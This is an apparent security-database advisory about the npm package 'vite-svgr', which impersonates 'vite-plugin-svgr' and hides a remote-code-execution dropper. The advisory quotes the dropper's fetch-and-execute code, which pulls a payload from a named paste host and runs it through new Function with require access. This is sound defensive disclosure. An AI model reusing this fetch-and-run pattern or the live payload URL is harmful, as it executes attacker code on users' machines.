MAL-2026-5708

    Dashboard / Malicious Package / MAL-2026-5708

    MAL-2026-5708

    Published: 12 Jun 2026Last Modified: 12 Jun 2026

    Summary: Malicious code in vite-svgr (npm)

    Details: Source: amazon-inspector (a22a309bc488d107fc2734705e05bb4032432bb9b54391e8ee2325d980b2cdf5) Package name `vite-svgr` impersonates the popular `vite-plugin-svgr`, but the shipped code is a fork of `tsconfig-paths` (package.json description: 'Load node modules according to tsconfig paths') with an added remote-code-execution dropper at lib/mapProps.js. The dropper performs `axios.get('https://www.jsonkeeper.com/b/EQUBH', { headers: { 'x-secret-key': '_' } })` and then runs the response body's `Cookie` field via `new Function('require', s)(require)` — arbitrary JavaScript with full Node `require` access executed under the installer's user. The code is reachable from the package's `main` via the exported `configJson(...)`, which spawns `node lib/mapProps.js` detached, so any consumer that imports this package and calls `configJson` triggers fetch-and-execute against an anonymous, mutable paste host. The combination of name impersonation, fork of an unrelated library, and remote-payload-execution is the canonical supply-chain attack shape.

    References: https://www.npmjs.com/package/vite-svgr/v/1.1.3, https://www.npmjs.com/package/vite-svgr/v/1.1.2

    Affected packages

    Package

    Name: vite-svgr

    Purl: pkg:npm/vite-svgr

    Affected ranges

    Type: N/A

    Events:

    Introduced- None
    Fixed -None

    Affected versions

    1.1.3
    1.1.2
    MAL-2026-5708 | CVE-DB